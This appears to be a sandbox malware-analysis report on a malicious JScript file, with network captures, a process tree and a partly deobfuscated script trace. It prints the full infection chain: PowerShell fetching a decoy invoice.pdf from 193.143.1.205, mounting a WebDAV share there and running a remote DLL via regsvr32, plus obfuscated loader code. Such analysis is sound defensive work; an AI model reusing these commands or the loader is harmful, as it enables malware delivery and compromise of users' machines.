Jan 11, 2025 06:20:02.802841902 CET	1.1.1.1	192.168.2.9	0x14ba	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:20:02.802841902 CET	1.1.1.1	192.168.2.9	0x14ba	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:20:21.327977896 CET	1.1.1.1	192.168.2.9	0x930e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49753	193.143.1.205	80	7812	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:20:10.957654953 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 06:20:11.800901890 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:20:11 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:20:11.800935030 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:20:11.800951004 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 06:20:11.800966978 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 06:20:11.800983906 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 11, 2025 06:20:11.800997019 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 06:20:11.801023960 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 06:20:11.801039934 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 06:20:11.801055908 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 11, 2025 06:20:11.801071882 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 11, 2025 06:20:11.805881023 CET	1236	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49767	193.143.1.205	8888	8104	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:20:13.393532991 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:20:14.188518047 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:20:14 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	00:20:06
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247624346306918832.js"
Imagebase:	0x7ff62f780000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:20:06
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll
Imagebase:	0x7ff717ce0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:20:06
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:20:06
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:20:11
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	00:20:11
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff717ce0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:20:11
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7b6960000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:20:12
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:20:12
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	00:20:12
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1656,i,18169422624924025959,8207642795001843680,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function nypwkkffh() {	nypwkkffh() ➔ undefined
1	hmtpnjzsg = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ucvein = this[idedlin + vcptt + brbws + xzjiuye + tfpgtbbvm + neaknsba + scoblrqu + jlzdqdbj] ( this[idsbbxl + pcnthv + dwknzt + brbws + cwkhcryg + idedlin + jlzdqdbj][adfqomj + brbws + tfpgtbbvm + vcptt + jlzdqdbj + tfpgtbbvm + pfvarwnl + feubowhb + jcpjzfzm + tfpgtbbvm + dwknzt + jlzdqdbj] ( idsbbxl + pcnthv + dwknzt + brbws + cwkhcryg + idedlin + jlzdqdbj + jmecxopd + pcnthv + nqkjnslki + tfpgtbbvm + cydnvp + cydnvp ) [bmnfvtbd + tfpgtbbvm + xxhftv + bmnfvtbd + tfpgtbbvm + vcptt + bcskf] ( kbxcnhz + dmhnl + lixbrri + bvsigffuy + niozag + adfqomj + rjowoy + bmnfvtbd + bmnfvtbd + lixbrri + fwrzqewy + xxntzxs + niozag + rjowoy + pcnthv + lixbrri + bmnfvtbd + btweeqjxs + adfqomj + zvsrobfn + scoblrqu + jlzdqdbj + brbws + zvsrobfn + cydnvp + cbsfnxk + roofu + vcptt + scoblrqu + tfpgtbbvm + cydnvp + btweeqjxs + neaknsba + scoblrqu + jlzdqdbj + tfpgtbbvm + brbws + scoblrqu + vcptt + jlzdqdbj + cwkhcryg + zvsrobfn + scoblrqu + vcptt + cydnvp + btweeqjxs + ezqxvorfg + zvsrobfn + dwknzt + vcptt + cydnvp + tfpgtbbvm ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( dcqyrkzu = 0 ; dcqyrkzu < hmtpnjzsg[cydnvp + tfpgtbbvm + scoblrqu + xxhftv + jlzdqdbj + nqkjnslki] ; ++ dcqyrkzu )
4	{
5	if ( ucvein == hmtpnjzsg[dcqyrkzu] )
6	{
7	ucvein = true;
8	break ;
9	}
10	}
11	if ( ucvein !== true )
12	this[idsbbxl + pcnthv + dwknzt + brbws + cwkhcryg + idedlin + jlzdqdbj][xhxuhkzxw + cegzm + cwkhcryg + jlzdqdbj] ( );
13	this[idsbbxl + pcnthv + dwknzt + brbws + cwkhcryg + idedlin + jlzdqdbj][adfqomj + brbws + tfpgtbbvm + vcptt + jlzdqdbj + tfpgtbbvm + pfvarwnl + feubowhb + jcpjzfzm + tfpgtbbvm + dwknzt + jlzdqdbj] ( idsbbxl + pcnthv + dwknzt + brbws + cwkhcryg + idedlin + jlzdqdbj + jmecxopd + pcnthv + nqkjnslki + tfpgtbbvm + cydnvp + cydnvp ) [brbws + cegzm + scoblrqu] ( dwknzt + aeudiwlnp + bcskf + cbsfnxk + cdsgp + dwknzt + cbsfnxk + idedlin + zvsrobfn + rnjtg + tfpgtbbvm + brbws + xzjiuye + nqkjnslki + tfpgtbbvm + cydnvp + cydnvp + jmecxopd + tfpgtbbvm + afmylbw + tfpgtbbvm + cbsfnxk + ngvxigr + adfqomj + zvsrobfn + aeudiwlnp + aeudiwlnp + vcptt + scoblrqu + bcskf + cbsfnxk + hfafcwuaq + neaknsba + scoblrqu + zqhncjtkx + zvsrobfn + uetedzuad + tfpgtbbvm + ngvxigr + idsbbxl + tfpgtbbvm + feubowhb + bmnfvtbd + tfpgtbbvm + ejiukm + cegzm + tfpgtbbvm + xzjiuye + jlzdqdbj + cbsfnxk + ngvxigr + pfvarwnl + cegzm + jlzdqdbj + ateucb + cwkhcryg + cydnvp + tfpgtbbvm + cbsfnxk + chmqvvd + jlzdqdbj + tfpgtbbvm + aeudiwlnp + idedlin + chmqvvd + btweeqjxs + cwkhcryg + scoblrqu + zqhncjtkx + zvsrobfn + cwkhcryg + dwknzt + tfpgtbbvm + jmecxopd + idedlin + bcskf + lpbsv + cbsfnxk + nqkjnslki + jlzdqdbj + jlzdqdbj + idedlin + kojkim + cdsgp + cdsgp + uityerfmc + bcszim + txxsmhq + jmecxopd + uityerfmc + pwjmbrs + txxsmhq + jmecxopd + uityerfmc + jmecxopd + rjozpuh + edvlkj + kxawnwoq + cdsgp + cwkhcryg + scoblrqu + zqhncjtkx + zvsrobfn + cwkhcryg + dwknzt + tfpgtbbvm + jmecxopd + idedlin + nqkjnslki + idedlin + hfafcwuaq + dsjeb + dsjeb + xzjiuye + jlzdqdbj + vcptt + brbws + jlzdqdbj + cbsfnxk + chmqvvd + jlzdqdbj + tfpgtbbvm + aeudiwlnp + idedlin + chmqvvd + btweeqjxs + cwkhcryg + scoblrqu + zqhncjtkx + zvsrobfn + cwkhcryg + dwknzt + tfpgtbbvm + jmecxopd + idedlin + bcskf + lpbsv + dsjeb + dsjeb + dwknzt + aeudiwlnp + bcskf + cbsfnxk + cdsgp + dwknzt + cbsfnxk + scoblrqu + tfpgtbbvm + jlzdqdbj + cbsfnxk + cegzm + xzjiuye + tfpgtbbvm + cbsfnxk + btweeqjxs + btweeqjxs + uityerfmc + bcszim + txxsmhq + jmecxopd + uityerfmc + pwjmbrs + txxsmhq + jmecxopd + uityerfmc + jmecxopd + rjozpuh + edvlkj + kxawnwoq + wqadmww + xhdabvf + xhdabvf + xhdabvf + xhdabvf + btweeqjxs + bcskf + vcptt + zqhncjtkx + rnjtg + rnjtg + rnjtg + brbws + zvsrobfn + zvsrobfn + jlzdqdbj + btweeqjxs + dsjeb + dsjeb + dwknzt + aeudiwlnp + bcskf + cbsfnxk + cdsgp + dwknzt + cbsfnxk + brbws + tfpgtbbvm + xxhftv + xzjiuye + zqhncjtkx + brbws + txxsmhq + rjozpuh + cbsfnxk + cdsgp + xzjiuye + cbsfnxk + btweeqjxs + btweeqjxs + uityerfmc + bcszim + txxsmhq + jmecxopd + uityerfmc + pwjmbrs + txxsmhq + jmecxopd + uityerfmc + jmecxopd + rjozpuh + edvlkj + kxawnwoq + wqadmww + xhdabvf + xhdabvf + xhdabvf + xhdabvf + btweeqjxs + bcskf + vcptt + zqhncjtkx + rnjtg + rnjtg + rnjtg + brbws + zvsrobfn + zvsrobfn + jlzdqdbj + btweeqjxs + uityerfmc + pwjmbrs + kxawnwoq + xhdabvf + uityerfmc + rjozpuh + xhdabvf + jlshsn + uityerfmc + uityerfmc + jlshsn + bcszim + txxsmhq + txxsmhq + jmecxopd + bcskf + cydnvp + cydnvp, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll",0,false) ➔ 0
14	}
15	rjozpuh = "v";
16	rjozpuh = "w";
17	rjozpuh = "A";
18	rjozpuh = "A";
19	rjozpuh = "A";
20	rjozpuh = "x";
21	rjozpuh = "M";
22	rjozpuh = "J";
23	rjozpuh = "E";
24	rjozpuh = "p";
25	rjozpuh = "B";
26	rjozpuh = "S";
27	rjozpuh = "X";
28	rjozpuh = "F";
29	rjozpuh = "W";
30	rjozpuh = "e";
31	rjozpuh = "o";
32	rjozpuh = "j";
33	rjozpuh = "L";
34	rjozpuh = "J";
35	rjozpuh = "O";
36	rjozpuh = "s";
37	rjozpuh = "I";
38	rjozpuh = "L";
39	rjozpuh = "b";
40	rjozpuh = "n";
41	rjozpuh = "B";
42	rjozpuh = "o";
43	rjozpuh = "r";
44	rjozpuh = "W";
45	rjozpuh = "2";
46	nqkjnslki = "y";
47	nqkjnslki = "N";
48	nqkjnslki = "L";
49	nqkjnslki = "w";
50	nqkjnslki = "T";
51	nqkjnslki = "l";
52	nqkjnslki = "I";
53	nqkjnslki = "k";
54	nqkjnslki = "r";
55	nqkjnslki = "u";
56	nqkjnslki = "M";
57	nqkjnslki = "V";
58	nqkjnslki = "u";
59	nqkjnslki = "b";
60	nqkjnslki = "F";
61	nqkjnslki = "j";
62	nqkjnslki = "D";
63	nqkjnslki = "A";
64	nqkjnslki = "d";
65	nqkjnslki = "g";
66	nqkjnslki = "r";
67	nqkjnslki = "r";
68	nqkjnslki = "j";
69	nqkjnslki = "y";
70	nqkjnslki = "M";
71	nqkjnslki = "W";
72	nqkjnslki = "h";
73	wqadmww = "P";
74	wqadmww = "V";
75	wqadmww = "A";
76	wqadmww = "h";
77	wqadmww = "a";
78	wqadmww = "K";
79	wqadmww = "x";
80	wqadmww = "Q";
81	wqadmww = "A";
82	wqadmww = "S";
83	wqadmww = "L";
84	wqadmww = "C";
85	wqadmww = "G";
86	wqadmww = "D";
87	wqadmww = "@";
88	jcpjzfzm = "B";
89	jcpjzfzm = "B";
90	jcpjzfzm = "Z";
91	jcpjzfzm = "t";
92	jcpjzfzm = "A";
93	jcpjzfzm = "p";
94	jcpjzfzm = "M";
95	jcpjzfzm = "D";
96	jcpjzfzm = "N";
97	jcpjzfzm = "I";
98	jcpjzfzm = "N";
99	jcpjzfzm = "W";
100	jcpjzfzm = "F";
101	jcpjzfzm = "k";
102	jcpjzfzm = "F";
103	jcpjzfzm = "o";
104	jcpjzfzm = "g";
105	jcpjzfzm = "f";
106	jcpjzfzm = "s";
107	jcpjzfzm = "R";
108	jcpjzfzm = "F";
109	jcpjzfzm = "j";
110	jcpjzfzm = "v";
111	jcpjzfzm = "P";
112	jcpjzfzm = "R";
113	jcpjzfzm = "V";
114	jcpjzfzm = "z";
115	jcpjzfzm = "C";
116	jcpjzfzm = "j";
117	adfqomj = "r";
118	adfqomj = "Y";
119	adfqomj = "a";
120	adfqomj = "U";
121	adfqomj = "W";
122	adfqomj = "c";
123	adfqomj = "k";
124	adfqomj = "Y";
125	adfqomj = "K";
126	adfqomj = "u";
127	adfqomj = "v";
128	adfqomj = "w";
129	adfqomj = "A";
130	adfqomj = "c";
131	adfqomj = "r";
132	adfqomj = "t";
133	adfqomj = "P";
134	adfqomj = "V";
135	adfqomj = "n";
136	adfqomj = "i";
137	adfqomj = "V";
138	adfqomj = "j";
139	adfqomj = "X";
140	adfqomj = "M";
141	adfqomj = "k";
142	adfqomj = "L";
143	adfqomj = "H";
144	adfqomj = "n";
145	adfqomj = "F";
146	adfqomj = "v";
147	adfqomj = "G";
148	adfqomj = "Q";
149	adfqomj = "M";
150	adfqomj = "J";
151	adfqomj = "a";
152	adfqomj = "A";
153	adfqomj = "M";
154	adfqomj = "n";
155	adfqomj = "B";
156	adfqomj = "l";
157	adfqomj = "i";
158	adfqomj = "X";
159	adfqomj = "n";
160	adfqomj = "j";
161	adfqomj = "C";
162	jlzdqdbj = "w";
163	jlzdqdbj = "t";
164	jlzdqdbj = "E";
165	jlzdqdbj = "C";
166	jlzdqdbj = "w";
167	jlzdqdbj = "E";
168	jlzdqdbj = "V";
169	jlzdqdbj = "m";
170	jlzdqdbj = "s";
171	jlzdqdbj = "H";
172	jlzdqdbj = "W";
173	jlzdqdbj = "w";
174	jlzdqdbj = "j";
175	jlzdqdbj = "U";
176	jlzdqdbj = "k";
177	jlzdqdbj = "H";
178	jlzdqdbj = "D";
179	jlzdqdbj = "n";
180	jlzdqdbj = "P";
181	jlzdqdbj = "W";
182	jlzdqdbj = "i";
183	jlzdqdbj = "j";
184	jlzdqdbj = "R";
185	jlzdqdbj = "w";
186	jlzdqdbj = "d";
187	jlzdqdbj = "N";
188	jlzdqdbj = "p";
189	jlzdqdbj = "t";
190	jlzdqdbj = "z";
191	jlzdqdbj = "l";
192	jlzdqdbj = "t";
193	rjowoy = "l";
194	rjowoy = "k";
195	rjowoy = "a";
196	rjowoy = "d";
197	rjowoy = "m";
198	rjowoy = "f";
199	rjowoy = "K";
200	rjowoy = "K";
201	rjowoy = "B";
202	rjowoy = "b";
203	rjowoy = "H";
204	rjowoy = "r";
205	rjowoy = "W";
206	rjowoy = "c";
207	rjowoy = "m";
208	rjowoy = "V";
209	rjowoy = "e";
210	rjowoy = "l";
211	rjowoy = "F";
212	rjowoy = "E";
213	rjowoy = "n";
214	rjowoy = "K";
215	rjowoy = "m";
216	rjowoy = "x";
217	rjowoy = "h";
218	rjowoy = "G";
219	rjowoy = "u";
220	rjowoy = "V";
221	rjowoy = "t";
222	rjowoy = "p";
223	rjowoy = "i";
224	rjowoy = "m";
225	rjowoy = "e";
226	rjowoy = "V";
227	rjowoy = "T";
228	rjowoy = "K";
229	rjowoy = "q";
230	rjowoy = "U";
231	afmylbw = "p";
232	afmylbw = "R";
233	afmylbw = "B";
234	afmylbw = "I";
